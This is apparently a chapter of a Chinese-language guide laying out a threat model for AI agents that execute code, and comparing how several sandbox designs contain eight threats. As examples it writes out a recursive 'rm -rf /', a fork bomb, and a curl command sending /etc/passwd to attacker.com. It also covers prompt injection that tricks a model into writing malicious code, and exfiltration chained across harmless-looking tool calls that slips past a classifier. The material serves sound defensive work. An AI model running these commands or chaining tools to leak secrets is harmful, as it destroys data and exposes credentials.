第十一章 · 威胁模型——AI Agent 代码执行的安全地图

这章为谁设计

你想理解「AI Agent 执行代码有什么安全风险，各种沙箱方案怎么应对」。这是安全工程师和架构师的必读章节。

日常类比

把 Agent 代码执行想象成一个实验室：你让一个机器人助手（LLM）做化学实验，它按你的指令配药。大多数时候没问题，但如果有人在你的指令里夹带了「把试剂倒进下水道」的暗示（prompt 注入），机器人会照做——它不知道这是恶意指令。

威胁模型就是在回答：实验室的安全门、通风系统、废液收集、监控摄像头分别能防哪些意外？

类比边界：化学实验是物理的、可观测的；代码执行是数字的，恶意行为可以极其隐蔽——一行看似无害的代码可能在后台偷偷发数据。

8 类威胁

T1: 任意文件破坏

攻击路径：LLM 生成 rm -rf /、覆写配置文件、删除 SSH 密钥。

严重度：★★★★★

各方案缓解：

CubeSandbox：VM 文件系统完全隔离，rm -rf / 只删 VM 内部文件，host 不受影响。CubeCoW 快照还能秒级恢复
Codex OS sandbox：bwrap mount namespace 只暴露白名单目录，写入未授权路径直接报错
Claude Code（纯 Permission）：classifier 可能识别并拦截 rm -rf /，但混淆后可能绕过

T2: 数据外泄（网络 exfil）

攻击路径：恶意代码用 curl attacker.com -d @/etc/passwd 把敏感文件发到外部。

严重度：★★★★★

各方案缓解：

CubeSandbox：CubeEgress eBPF 域名过滤——只允许白名单域名，attacker.com 不在白名单直接拦截
Codex：三档网络模式（禁用/开启/代理）
Claude Code：PreToolUse hook 检测（依赖 classifier 准确性）

T3: 提示注入间接执行

攻击路径：用户输入或外部数据含隐藏指令，LLM 被骗生成恶意代码。

严重度：★★★★☆

关键洞察：沙箱不防注入——它防的是注入成功后的影响范围。LLM 可能被骗去生成外泄命令，但如果命令在 microVM 里执行，VM 里没有 host 的 SSH 密钥，外泄的只是空文件。

最佳实践：classifier（检测可疑命令）+ sandbox（限制影响范围）+ network policy（阻断外传）三层叠加。

T4: 资源耗尽（DoS）

攻击路径：fork bomb（:(){ :|:& };:）、磁盘填充、CPU 死循环。

严重度：★★★★☆

CubeSandbox 缓解：每个 VM 有独立的 cgroup 限制——CPU 份额、内存上限、磁盘配额都固定。fork bomb 只能耗尽 VM 内部资源，不影响 host 和其他 VM。VM 超时后自动销毁。

T5: 持久化后门

攻击路径：写入 crontab / systemd service，沙箱销毁后后门仍然存在。

严重度：★★★☆☆

CubeSandbox 缓解：microVM 是 ephemeral（临时）的——执行完毕后 VM 被销毁，所有改动消失。即使恶意代码写了 crontab，VM 销毁后什么都不剩。

Claude Code 无防护：命令直接在用户 shell 环境里跑。恶意代码写了 ~/.zshrc，后门会在每次 shell 启动时执行。

T6: 侧信道

攻击路径：CPU cache timing、内存访问模式、Spectre/Meltdown。

严重度：★★☆☆☆（实际利用难度高）

所有方案都弱：KVM 提供部分缓解（guest 不直接看到 host cache 状态），但不是完全防御。

T7: 沙箱逃逸

攻击路径：利用内核漏洞从沙箱跳出到 host。

严重度：★★★★★（但概率因方案而异）

方案	逃逸需要的漏洞链	概率
CubeSandbox/Firecracker	KVM exploit + guest-to-host escape（双链）	极低
gVisor	Sentry 实现 bug + host syscall bypass	低-中
Codex bwrap	单个 namespace/seccomp bypass	中
Docker	单个 namespace escape	中-高
纯 Permission	不适用（无沙箱）	—

CubeSandbox 的优势：攻击者需要同时利用 guest kernel 漏洞和 KVM/hypervisor 漏洞——两条独立的漏洞链同时存在的概率极低。

T8: 供应链污染

攻击路径：Agent 代码中 pip install evil-package，恶意包在安装时执行任意代码。

严重度：★★★☆☆

CubeSandbox 缓解：恶意包在 VM 内执行，无法影响 host。CubeEgress 可限制只允许访问 pypi.org 的特定路径。

Agent 场景特有威胁

链式工具调用攻击

Agent 通常有多个工具（file_read、bash、web_fetch）。攻击者可以组合多个看似无害的调用实现恶意目标：

file_read 读取 API 密钥 → 单独看无害
bash 把密钥写入临时文件 → 单独看无害
web_fetch 上传文件 → 单独看无害

组合后 = 数据外泄。每个单独的调用 classifier 可能放行。

microVM 的优势：VM 内没有 host 的密钥文件，链式攻击的第一步就失败了。

Agent 循环放大

Agent 可能进入「生成代码 → 执行 → 失败 → 重试 → 生成更激进的代码」的循环。没有沙箱时，每次重试都可能对系统造成累积影响。CubeCoW 可以在每次执行前创建检查点，失败后回滚到干净状态。

读完这章你应该能回答

AI Agent 代码执行最严重的两个威胁是什么？（T1 文件破坏 + T2 数据外泄）
沙箱能防 prompt 注入吗？（不能防注入本身，但能限制注入成功后的影响范围）
CubeSandbox 比 OS sandbox 安全在哪？（逃逸需要双链漏洞 vs 单链）
纯 Permission 方案（Claude Code）最大的风险是什么？（持久化后门 + classifier 可被绕过）

导读目录：README.md 上一章：第十章 · 选型决策树——「我该用哪个？」下一章：第十二章 · Coding Agent 的内建沙箱 vs 独立沙箱平台